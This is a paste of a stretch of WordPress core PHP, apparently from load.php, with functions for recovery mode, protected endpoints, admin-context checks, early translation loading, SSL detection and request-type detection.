  840. function wp_skip_paused_themes( array $themes ) {
  841.     $paused_themes = wp_paused_themes()->get_all();
  842.  
  843.     if ( empty( $paused_themes ) ) {
  844.         return $themes;
  845.     }
  846.  
  847.     foreach ( $themes as $index => $theme ) {
  848.         $theme = basename( $theme );
  849.  
  850.         if ( array_key_exists( $theme, $paused_themes ) ) {
  851.             unset( $themes[ $index ] );
  852.  
  853.             // Store list of paused themes for displaying an admin notice.
  854.             $GLOBALS['_paused_themes'][ $theme ] = $paused_themes[ $theme ];
  855.         }
  856.     }
  857.  
  858.     return $themes;
  859. }
  860.  
  861. /**
  862.  * Is WordPress in Recovery Mode.
  863.  *
  864.  * In this mode, plugins or themes that cause WSODs will be paused.
  865.  *
  866.  * @since 5.2.0
  867.  *
  868.  * @return bool
  869.  */
  870. function wp_is_recovery_mode() {
  871.     return wp_recovery_mode()->is_active();
  872. }
  873.  
  874. /**
  875.  * Determines whether we are currently on an endpoint that should be protected against WSODs.
  876.  *
  877.  * @since 5.2.0
  878.  *
  879.  * @return bool True if the current endpoint should be protected.
  880.  */
  881. function is_protected_endpoint() {
  882.     // Protect login pages.
  883.     if ( isset( $GLOBALS['pagenow'] ) && 'wp-login.php' === $GLOBALS['pagenow'] ) {
  884.         return true;
  885.     }
  886.  
  887.     // Protect the admin backend.
  888.     if ( is_admin() && ! wp_doing_ajax() ) {
  889.         return true;
  890.     }
  891.  
  892.     // Protect AJAX actions that could help resolve a fatal error should be available.
  893.     if ( is_protected_ajax_action() ) {
  894.         return true;
  895.     }
  896.  
  897.     /**
  898.      * Filters whether the current request is against a protected endpoint.
  899.      *
  900.      * This filter is only fired when an endpoint is requested which is not already protected by
  901.      * WordPress core. As such, it exclusively allows providing further protected endpoints in
  902.      * addition to the admin backend, login pages and protected AJAX actions.
  903.      *
  904.      * @since 5.2.0
  905.      *
  906.      * @param bool $is_protected_endpoint Whether the currently requested endpoint is protected. Default false.
  907.      */
  908.     return (bool) apply_filters( 'is_protected_endpoint', false );
  909. }
  910.  
  911. /**
  912.  * Determines whether we are currently handling an AJAX action that should be protected against WSODs.
  913.  *
  914.  * @since 5.2.0
  915.  *
  916.  * @return bool True if the current AJAX action should be protected.
  917.  */
  918. function is_protected_ajax_action() {
  919.     if ( ! wp_doing_ajax() ) {
  920.         return false;
  921.     }
  922.  
  923.     if ( ! isset( $_REQUEST['action'] ) ) {
  924.         return false;
  925.     }
  926.  
  927.     $actions_to_protect = array(
  928.         'edit-theme-plugin-file', // Saving changes in the core code editor.
  929.         'heartbeat',              // Keep the heart beating.
  930.         'install-plugin',         // Installing a new plugin.
  931.         'install-theme',          // Installing a new theme.
  932.         'search-plugins',         // Searching in the list of plugins.
  933.         'search-install-plugins', // Searching for a plugin in the plugin install screen.
  934.         'update-plugin',          // Update an existing plugin.
  935.         'update-theme',           // Update an existing theme.
  936.     );
  937.  
  938.     /**
  939.      * Filters the array of protected AJAX actions.
  940.      *
  941.      * This filter is only fired when doing AJAX and the AJAX request has an 'action' property.
  942.      *
  943.      * @since 5.2.0
  944.      *
  945.      * @param array $actions_to_protect Array of strings with AJAX actions to protect.
  946.      */
  947.     $actions_to_protect = (array) apply_filters( 'wp_protected_ajax_actions', $actions_to_protect );
  948.  
  949.     if ( ! in_array( $_REQUEST['action'], $actions_to_protect, true ) ) {
  950.         return false;
  951.     }
  952.  
  953.     return true;
  954. }
  955.  
  956. /**
  957.  * Set internal encoding.
  958.  *
  959.  * In most cases the default internal encoding is latin1, which is
  960.  * of no use, since we want to use the `mb_` functions for `utf-8` strings.
  961.  *
  962.  * @since 3.0.0
  963.  * @access private
  964.  */
  965. function wp_set_internal_encoding() {
  966.     if ( function_exists( 'mb_internal_encoding' ) ) {
  967.         $charset = get_option( 'blog_charset' );
  968.         // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
  969.         if ( ! $charset || ! @mb_internal_encoding( $charset ) ) {
  970.             mb_internal_encoding( 'UTF-8' );
  971.         }
  972.     }
  973. }
  974.  
  975. /**
  976.  * Add magic quotes to `$_GET`, `$_POST`, `$_COOKIE`, and `$_SERVER`.
  977.  *
  978.  * Also forces `$_REQUEST` to be `$_GET + $_POST`. If `$_SERVER`,
  979.  * `$_COOKIE`, or `$_ENV` are needed, use those superglobals directly.
  980.  *
  981.  * @since 3.0.0
  982.  * @access private
  983.  */
  984. function wp_magic_quotes() {
  985.     // Escape with wpdb.
  986.     $_GET    = add_magic_quotes( $_GET );
  987.     $_POST   = add_magic_quotes( $_POST );
  988.     $_COOKIE = add_magic_quotes( $_COOKIE );
  989.     $_SERVER = add_magic_quotes( $_SERVER );
  990.  
  991.     // Force REQUEST to be GET + POST.
  992.     $_REQUEST = array_merge( $_GET, $_POST );
  993. }
  994.  
  995. /**
  996.  * Runs just before PHP shuts down execution.
  997.  *
  998.  * @since 1.2.0
  999.  * @access private
  1000.  */
  1001. function shutdown_action_hook() {
  1002.     /**
  1003.      * Fires just before PHP shuts down execution.
  1004.      *
  1005.      * @since 1.2.0
  1006.      */
  1007.     do_action( 'shutdown' );
  1008.  
  1009.     wp_cache_close();
  1010. }
  1011.  
  1012. /**
  1013.  * Copy an object.
  1014.  *
  1015.  * @since 2.7.0
  1016.  * @deprecated 3.2.0
  1017.  *
  1018.  * @param object $object The object to clone.
  1019.  * @return object The cloned object.
  1020.  */
  1021. function wp_clone( $object ) {
  1022.     // Use parens for clone to accommodate PHP 4. See #17880
  1023.     return clone( $object );
  1024. }
  1025.  
  1026. /**
  1027.  * Determines whether the current request is for an administrative interface page.
  1028.  *
  1029.  * Does not check if the user is an administrator; use current_user_can()
  1030.  * for checking roles and capabilities.
  1031.  *
  1032.  * For more information on this and similar theme functions, check out
  1033.  * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
  1034.  * Conditional Tags} article in the Theme Developer Handbook.
  1035.  *
  1036.  * @since 1.5.1
  1037.  *
  1038.  * @global WP_Screen $current_screen WordPress current screen object.
  1039.  *
  1040.  * @return bool True if inside WordPress administration interface, false otherwise.
  1041.  */
  1042. function is_admin() {
  1043.     if ( isset( $GLOBALS['current_screen'] ) ) {
  1044.         return $GLOBALS['current_screen']->in_admin();
  1045.     } elseif ( defined( 'WP_ADMIN' ) ) {
  1046.         return WP_ADMIN;
  1047.     }
  1048.  
  1049.     return false;
  1050. }
  1051.  
  1052. /**
  1053.  * Whether the current request is for a site's admininstrative interface.
  1054.  *
  1055.  * e.g. `/wp-admin/`
  1056.  *
  1057.  * Does not check if the user is an administrator; use current_user_can()
  1058.  * for checking roles and capabilities.
  1059.  *
  1060.  * @since 3.1.0
  1061.  *
  1062.  * @global WP_Screen $current_screen WordPress current screen object.
  1063.  *
  1064.  * @return bool True if inside WordPress blog administration pages.
  1065.  */
  1066. function is_blog_admin() {
  1067.     if ( isset( $GLOBALS['current_screen'] ) ) {
  1068.         return $GLOBALS['current_screen']->in_admin( 'site' );
  1069.     } elseif ( defined( 'WP_BLOG_ADMIN' ) ) {
  1070.         return WP_BLOG_ADMIN;
  1071.     }
  1072.  
  1073.     return false;
  1074. }
  1075.  
  1076. /**
  1077.  * Whether the current request is for the network administrative interface.
  1078.  *
  1079.  * e.g. `/wp-admin/network/`
  1080.  *
  1081.  * Does not check if the user is an administrator; use current_user_can()
  1082.  * for checking roles and capabilities.
  1083.  *
  1084.  * Does not check if the site is a Multisite network; use is_multisite()
  1085.  * for checking if Multisite is enabled.
  1086.  *
  1087.  * @since 3.1.0
  1088.  *
  1089.  * @global WP_Screen $current_screen WordPress current screen object.
  1090.  *
  1091.  * @return bool True if inside WordPress network administration pages.
  1092.  */
  1093. function is_network_admin() {
  1094.     if ( isset( $GLOBALS['current_screen'] ) ) {
  1095.         return $GLOBALS['current_screen']->in_admin( 'network' );
  1096.     } elseif ( defined( 'WP_NETWORK_ADMIN' ) ) {
  1097.         return WP_NETWORK_ADMIN;
  1098.     }
  1099.  
  1100.     return false;
  1101. }
  1102.  
  1103. /**
  1104.  * Whether the current request is for a user admin screen.
  1105.  *
  1106.  * e.g. `/wp-admin/user/`
  1107.  *
  1108.  * Does not check if the user is an administrator; use current_user_can()
  1109.  * for checking roles and capabilities.
  1110.  *
  1111.  * @since 3.1.0
  1112.  *
  1113.  * @global WP_Screen $current_screen WordPress current screen object.
  1114.  *
  1115.  * @return bool True if inside WordPress user administration pages.
  1116.  */
  1117. function is_user_admin() {
  1118.     if ( isset( $GLOBALS['current_screen'] ) ) {
  1119.         return $GLOBALS['current_screen']->in_admin( 'user' );
  1120.     } elseif ( defined( 'WP_USER_ADMIN' ) ) {
  1121.         return WP_USER_ADMIN;
  1122.     }
  1123.  
  1124.     return false;
  1125. }
  1126.  
  1127. /**
  1128.  * If Multisite is enabled.
  1129.  *
  1130.  * @since 3.0.0
  1131.  *
  1132.  * @return bool True if Multisite is enabled, false otherwise.
  1133.  */
  1134. function is_multisite() {
  1135.     if ( defined( 'MULTISITE' ) ) {
  1136.         return MULTISITE;
  1137.     }
  1138.  
  1139.     if ( defined( 'SUBDOMAIN_INSTALL' ) || defined( 'VHOST' ) || defined( 'SUNRISE' ) ) {
  1140.         return true;
  1141.     }
  1142.  
  1143.     return false;
  1144. }
  1145.  
  1146. /**
  1147.  * Retrieve the current site ID.
  1148.  *
  1149.  * @since 3.1.0
  1150.  *
  1151.  * @global int $blog_id
  1152.  *
  1153.  * @return int Site ID.
  1154.  */
  1155. function get_current_blog_id() {
  1156.     global $blog_id;
  1157.     return absint( $blog_id );
  1158. }
  1159.  
  1160. /**
  1161.  * Retrieves the current network ID.
  1162.  *
  1163.  * @since 4.6.0
  1164.  *
  1165.  * @return int The ID of the current network.
  1166.  */
  1167. function get_current_network_id() {
  1168.     if ( ! is_multisite() ) {
  1169.         return 1;
  1170.     }
  1171.  
  1172.     $current_network = get_network();
  1173.  
  1174.     if ( ! isset( $current_network->id ) ) {
  1175.         return get_main_network_id();
  1176.     }
  1177.  
  1178.     return absint( $current_network->id );
  1179. }
  1180.  
  1181. /**
  1182.  * Attempt an early load of translations.
  1183.  *
  1184.  * Used for errors encountered during the initial loading process, before
  1185.  * the locale has been properly detected and loaded.
  1186.  *
  1187.  * Designed for unusual load sequences (like setup-config.php) or for when
  1188.  * the script will then terminate with an error, otherwise there is a risk
  1189.  * that a file can be double-included.
  1190.  *
  1191.  * @since 3.4.0
  1192.  * @access private
  1193.  *
  1194.  * @global WP_Locale $wp_locale WordPress date and time locale object.
  1195.  *
  1196.  * @staticvar bool $loaded
  1197.  */
  1198. function wp_load_translations_early() {
  1199.     global $wp_locale;
  1200.  
  1201.     static $loaded = false;
  1202.     if ( $loaded ) {
  1203.         return;
  1204.     }
  1205.     $loaded = true;
  1206.  
  1207.     if ( function_exists( 'did_action' ) && did_action( 'init' ) ) {
  1208.         return;
  1209.     }
  1210.  
  1211.     // We need $wp_local_package
  1212.     require ABSPATH . WPINC . '/version.php';
  1213.  
  1214.     // Translation and localization
  1215.     require_once ABSPATH . WPINC . '/pomo/mo.php';
  1216.     require_once ABSPATH . WPINC . '/l10n.php';
  1217.     require_once ABSPATH . WPINC . '/class-wp-locale.php';
  1218.     require_once ABSPATH . WPINC . '/class-wp-locale-switcher.php';
  1219.  
  1220.     // General libraries
  1221.     require_once ABSPATH . WPINC . '/plugin.php';
  1222.  
  1223.     $locales   = array();
  1224.     $locations = array();
  1225.  
  1226.     while ( true ) {
  1227.         if ( defined( 'WPLANG' ) ) {
  1228.             if ( '' == WPLANG ) {
  1229.                 break;
  1230.             }
  1231.             $locales[] = WPLANG;
  1232.         }
  1233.  
  1234.         if ( isset( $wp_local_package ) ) {
  1235.             $locales[] = $wp_local_package;
  1236.         }
  1237.  
  1238.         if ( ! $locales ) {
  1239.             break;
  1240.         }
  1241.  
  1242.         if ( defined( 'WP_LANG_DIR' ) && @is_dir( WP_LANG_DIR ) ) {
  1243.             $locations[] = WP_LANG_DIR;
  1244.         }
  1245.  
  1246.         if ( defined( 'WP_CONTENT_DIR' ) && @is_dir( WP_CONTENT_DIR . '/languages' ) ) {
  1247.             $locations[] = WP_CONTENT_DIR . '/languages';
  1248.         }
  1249.  
  1250.         if ( @is_dir( ABSPATH . 'wp-content/languages' ) ) {
  1251.             $locations[] = ABSPATH . 'wp-content/languages';
  1252.         }
  1253.  
  1254.         if ( @is_dir( ABSPATH . WPINC . '/languages' ) ) {
  1255.             $locations[] = ABSPATH . WPINC . '/languages';
  1256.         }
  1257.  
  1258.         if ( ! $locations ) {
  1259.             break;
  1260.         }
  1261.  
  1262.         $locations = array_unique( $locations );
  1263.  
  1264.         foreach ( $locales as $locale ) {
  1265.             foreach ( $locations as $location ) {
  1266.                 if ( file_exists( $location . '/' . $locale . '.mo' ) ) {
  1267.                     load_textdomain( 'default', $location . '/' . $locale . '.mo' );
  1268.                     if ( defined( 'WP_SETUP_CONFIG' ) && file_exists( $location . '/admin-' . $locale . '.mo' ) ) {
  1269.                         load_textdomain( 'default', $location . '/admin-' . $locale . '.mo' );
  1270.                     }
  1271.                     break 2;
  1272.                 }
  1273.             }
  1274.         }
  1275.  
  1276.         break;
  1277.     }
  1278.  
  1279.     $wp_locale = new WP_Locale();
  1280. }
  1281.  
  1282. /**
  1283.  * Check or set whether WordPress is in "installation" mode.
  1284.  *
  1285.  * If the `WP_INSTALLING` constant is defined during the bootstrap, `wp_installing()` will default to `true`.
  1286.  *
  1287.  * @since 4.4.0
  1288.  *
  1289.  * @staticvar bool $installing
  1290.  *
  1291.  * @param bool $is_installing Optional. True to set WP into Installing mode, false to turn Installing mode off.
  1292.  *                            Omit this parameter if you only want to fetch the current status.
  1293.  * @return bool True if WP is installing, otherwise false. When a `$is_installing` is passed, the function will
  1294.  *              report whether WP was in installing mode prior to the change to `$is_installing`.
  1295.  */
  1296. function wp_installing( $is_installing = null ) {
  1297.     static $installing = null;
  1298.  
  1299.     // Support for the `WP_INSTALLING` constant, defined before WP is loaded.
  1300.     if ( is_null( $installing ) ) {
  1301.         $installing = defined( 'WP_INSTALLING' ) && WP_INSTALLING;
  1302.     }
  1303.  
  1304.     if ( ! is_null( $is_installing ) ) {
  1305.         $old_installing = $installing;
  1306.         $installing     = $is_installing;
  1307.         return (bool) $old_installing;
  1308.     }
  1309.  
  1310.     return (bool) $installing;
  1311. }
  1312.  
  1313. /**
  1314.  * Determines if SSL is used.
  1315.  *
  1316.  * @since 2.6.0
  1317.  * @since 4.6.0 Moved from functions.php to load.php.
  1318.  *
  1319.  * @return bool True if SSL, otherwise false.
  1320.  */
  1321. function is_ssl() {
  1322.     if ( isset( $_SERVER['HTTPS'] ) ) {
  1323.         if ( 'on' == strtolower( $_SERVER['HTTPS'] ) ) {
  1324.             return true;
  1325.         }
  1326.  
  1327.         if ( '1' == $_SERVER['HTTPS'] ) {
  1328.             return true;
  1329.         }
  1330.     } elseif ( isset( $_SERVER['SERVER_PORT'] ) && ( '443' == $_SERVER['SERVER_PORT'] ) ) {
  1331.         return true;
  1332.     }
  1333.     return false;
  1334. }
  1335.  
  1336. /**
  1337.  * Converts a shorthand byte value to an integer byte value.
  1338.  *
  1339.  * @since 2.3.0
  1340.  * @since 4.6.0 Moved from media.php to load.php.
  1341.  *
  1342.  * @link https://secure.php.net/manual/en/function.ini-get.php
  1343.  * @link https://secure.php.net/manual/en/faq.using.php#faq.using.shorthandbytes
  1344.  *
  1345.  * @param string $value A (PHP ini) byte value, either shorthand or ordinary.
  1346.  * @return int An integer byte value.
  1347.  */
  1348. function wp_convert_hr_to_bytes( $value ) {
  1349.     $value = strtolower( trim( $value ) );
  1350.     $bytes = (int) $value;
  1351.  
  1352.     if ( false !== strpos( $value, 'g' ) ) {
  1353.         $bytes *= GB_IN_BYTES;
  1354.     } elseif ( false !== strpos( $value, 'm' ) ) {
  1355.         $bytes *= MB_IN_BYTES;
  1356.     } elseif ( false !== strpos( $value, 'k' ) ) {
  1357.         $bytes *= KB_IN_BYTES;
  1358.     }
  1359.  
  1360.     // Deal with large (float) values which run into the maximum integer size.
  1361.     return min( $bytes, PHP_INT_MAX );
  1362. }
  1363.  
  1364. /**
  1365.  * Determines whether a PHP ini value is changeable at runtime.
  1366.  *
  1367.  * @since 4.6.0
  1368.  *
  1369.  * @staticvar array $ini_all
  1370.  *
  1371.  * @link https://secure.php.net/manual/en/function.ini-get-all.php
  1372.  *
  1373.  * @param string $setting The name of the ini setting to check.
  1374.  * @return bool True if the value is changeable at runtime. False otherwise.
  1375.  */
  1376. function wp_is_ini_value_changeable( $setting ) {
  1377.     static $ini_all;
  1378.  
  1379.     if ( ! isset( $ini_all ) ) {
  1380.         $ini_all = false;
  1381.         // Sometimes `ini_get_all()` is disabled via the `disable_functions` option for "security purposes".
  1382.         if ( function_exists( 'ini_get_all' ) ) {
  1383.             $ini_all = ini_get_all();
  1384.         }
  1385.     }
  1386.  
  1387.     // Bit operator to workaround https://bugs.php.net/bug.php?id=44936 which changes access level to 63 in PHP 5.2.6 - 5.2.17.
  1388.     if ( isset( $ini_all[ $setting ]['access'] ) && ( INI_ALL === ( $ini_all[ $setting ]['access'] & 7 ) || INI_USER === ( $ini_all[ $setting ]['access'] & 7 ) ) ) {
  1389.         return true;
  1390.     }
  1391.  
  1392.     // If we were unable to retrieve the details, fail gracefully to assume it's changeable.
  1393.     if ( ! is_array( $ini_all ) ) {
  1394.         return true;
  1395.     }
  1396.  
  1397.     return false;
  1398. }
  1399.  
  1400. /**
  1401.  * Determines whether the current request is a WordPress Ajax request.
  1402.  *
  1403.  * @since 4.7.0
  1404.  *
  1405.  * @return bool True if it's a WordPress Ajax request, false otherwise.
  1406.  */
  1407. function wp_doing_ajax() {
  1408.     /**
  1409.      * Filters whether the current request is a WordPress Ajax request.
  1410.      *
  1411.      * @since 4.7.0
  1412.      *
  1413.      * @param bool $wp_doing_ajax Whether the current request is a WordPress Ajax request.
  1414.      */
  1415.     return apply_filters( 'wp_doing_ajax', defined( 'DOING_AJAX' ) && DOING_AJAX );
  1416. }
  1417.  
  1418. /**
  1419.  * Determines whether the current request should use themes.
  1420.  *
  1421.  * @since 5.1.0
  1422.  *
  1423.  * @return bool True if themes should be used, false otherwise.
  1424.  */
  1425. function wp_using_themes() {
  1426.     /**
  1427.      * Filters whether the current request should use themes.
  1428.      *
  1429.      * @since 5.1.0
  1430.      *
  1431.      * @param bool $wp_using_themes Whether the current request should use themes.
  1432.      */
  1433.     return apply_filters( 'wp_using_themes', defined( 'WP_USE_THEMES' ) && WP_USE_THEMES );
  1434. }
  1435.  
  1436. /**
  1437.  * Determines whether the current request is a WordPress cron request.
  1438.  *
  1439.  * @since 4.8.0
  1440.  *
  1441.  * @return bool True if it's a WordPress cron request, false otherwise.
  1442.  */
  1443. function wp_doing_cron() {
  1444.     /**
  1445.      * Filters whether the current request is a WordPress cron request.
  1446.      *
  1447.      * @since 4.8.0
  1448.      *
  1449.      * @param bool $wp_doing_cron Whether the current request is a WordPress cron request.
  1450.      */
  1451.     return apply_filters( 'wp_doing_cron', defined( 'DOING_CRON' ) && DOING_CRON );
  1452. }
  1453.  
  1454. /**
  1455.  * Check whether variable is a WordPress Error.
  1456.  *
  1457.  * Returns true if $thing is an object of the WP_Error class.
  1458.  *
  1459.  * @since 2.1.0
  1460.  *
  1461.  * @param mixed $thing Check if unknown variable is a WP_Error object.
  1462.  * @return bool True, if WP_Error. False, if not WP_Error.
  1463.  */
  1464. function is_wp_error( $thing ) {
  1465.     return ( $thing instanceof WP_Error );
  1466. }
  1467.  
  1468. /**
  1469.  * Determines whether file modifications are allowed.
  1470.  *
  1471.  * @since 4.8.0
  1472.  *
  1473.  * @param string $context The usage context.
  1474.  * @return bool True if file modification is allowed, false otherwise.
  1475.  */
  1476. function wp_is_file_mod_allowed( $context ) {
  1477.     /**
  1478.      * Filters whether file modifications are allowed.
  1479.      *
  1480.      * @since 4.8.0
  1481.      *
  1482.      * @param bool   $file_mod_allowed Whether file modifications are allowed.
  1483.      * @param string $context          The usage context.
  1484.      */
  1485.     return apply_filters( 'file_mod_allowed', ! defined( 'DISALLOW_FILE_MODS' ) || ! DISALLOW_FILE_MODS, $context );
  1486. }
  1487.  
  1488. /**
  1489.  * Start scraping edited file errors.
  1490.  *
  1491.  * @since 4.9.0
  1492.  */
  1493. function wp_start_scraping_edited_file_errors() {
  1494.     if ( ! isset( $_REQUEST['wp_scrape_key'] ) || ! isset( $_REQUEST['wp_scrape_nonce'] ) ) {
  1495.         return;
  1496.     }
  1497.     $key   = substr( sanitize_key( wp_unslash( $_REQUEST['wp_scrape_key'] ) ), 0, 32 );
  1498.     $nonce = wp_unslash( $_REQUEST['wp_scrape_nonce'] );
  1499.  
  1500.     if ( get_transient( 'scrape_key_' . $key ) !== $nonce ) {
  1501.         echo "###### wp_scraping_result_start:$key ######";
  1502.         echo wp_json_encode(
  1503.             array(
  1504.                 'code'    => 'scrape_nonce_failure',
  1505.                 'message' => __( 'Scrape nonce check failed. Please try again.' ),
  1506.             )
  1507.         );
  1508.         echo "###### wp_scraping_result_end:$key ######";
  1509.         die();
  1510.     }
  1511.     if ( ! defined( 'WP_SANDBOX_SCRAPING' ) ) {
  1512.         define( 'WP_SANDBOX_SCRAPING', true );
  1513.     }
  1514.     register_shutdown_function( 'wp_finalize_scraping_edited_file_errors', $key );
  1515. }
  1516.  
  1517. /**
  1518.  * Finalize scraping for edited file errors.
  1519.  *
  1520.  * @since 4.9.0
  1521.  *
  1522.  * @param string $scrape_key Scrape key.
  1523.  */
  1524. function wp_finalize_scraping_edited_file_errors( $scrape_key ) {
  1525.     $error = error_get_last();
  1526.     echo "\n###### wp_scraping_result_start:$scrape_key ######\n";
  1527.     if ( ! empty( $error ) && in_array( $error['type'], array( E_CORE_ERROR, E_COMPILE_ERROR, E_ERROR, E_PARSE, E_USER_ERROR, E_RECOVERABLE_ERROR ), true ) ) {
  1528.         $error = str_replace( ABSPATH, '', $error );
  1529.         echo wp_json_encode( $error );
  1530.     } else {
  1531.         echo wp_json_encode( true );
  1532.     }
  1533.     echo "\n###### wp_scraping_result_end:$scrape_key ######\n";
  1534. }
  1535.  
  1536. /**
  1537.  * Checks whether current request is a JSON request, or is expecting a JSON response.
  1538.  *
  1539.  * @since 5.0.0
  1540.  *
  1541.  * @return bool True if Accepts or Content-Type headers contain application/json, false otherwise.
  1542.  */
  1543. function wp_is_json_request() {
  1544.  
  1545.     if ( isset( $_SERVER['HTTP_ACCEPT'] ) && false !== strpos( $_SERVER['HTTP_ACCEPT'], 'application/json' ) ) {
  1546.         return true;
  1547.     }
  1548.  
  1549.     if ( isset( $_SERVER['CONTENT_TYPE'] ) && 'application/json' === $_SERVER['CONTENT_TYPE'] ) {
  1550.         return true;
  1551.     }
  1552.  
  1553.     return false;
  1554.  
  1555. }
  1556.  
  1557. /**
  1558.  * Checks whether current request is a JSONP request, or is expecting a JSONP response.
  1559.  *
  1560.  * @since 5.2.0
  1561.  *
  1562.  * @return bool True if JSONP request, false otherwise.
  1563.  */
  1564. function wp_is_jsonp_request() {
  1565.     if ( ! isset( $_GET['_jsonp'] ) ) {
  1566.         return false;
  1567.     }
  1568.  
  1569.     if ( ! function_exists( 'wp_check_jsonp_callback' ) ) {
  1570.         require_once ABSPATH . WPINC . '/functions.php';
  1571.     }
  1572.  
  1573.     $jsonp_callback = $_GET['_jsonp'];
  1574.     if ( ! wp_check_jsonp_callback( $jsonp_callback ) ) {
  1575.         return false;
  1576.     }
  1577.  
  1578.     /** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
  1579.     $jsonp_enabled = apply_filters( 'rest_jsonp_enabled', true );
  1580.  
  1581.     return $jsonp_enabled;
  1582.  
  1583. }
  1584.  
  1585. /**
  1586.  * Checks whether current request is an XML request, or is expecting an XML response.
  1587.  *
  1588.  * @since 5.2.0
  1589.  *
  1590.  * @return bool True if Accepts or Content-Type headers contain xml, false otherwise.
  1591.  */
  1592. function wp_is_xml_request() {
  1593.     $accepted = array(
  1594.         'text/xml',
  1595.         'application/rss+xml',
  1596.         'application/atom+xml',
  1597.         'application/rdf+xml',
  1598.         'text/xml+oembed',
  1599.         'application/xml+oembed',
  1600.     );
  1601.  
  1602.     if ( isset( $_SERVER['HTTP_ACCEPT'] ) ) {
  1603.         foreach ( $accepted as $type ) {
  1604.             if ( false !== strpos( $_SERVER['HTTP_ACCEPT'], $type ) ) {
  1605.                 return true;
  1606.             }
  1607.         }
  1608.     }
  1609.  
  1610.     if ( isset( $_SERVER['CONTENT_TYPE'] ) && in_array( $_SERVER['CONTENT_TYPE'], $accepted, true ) ) {
  1611.         return true;
  1612.     }
  1613.  
  1614.     return false;
  1615. }
  1616.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement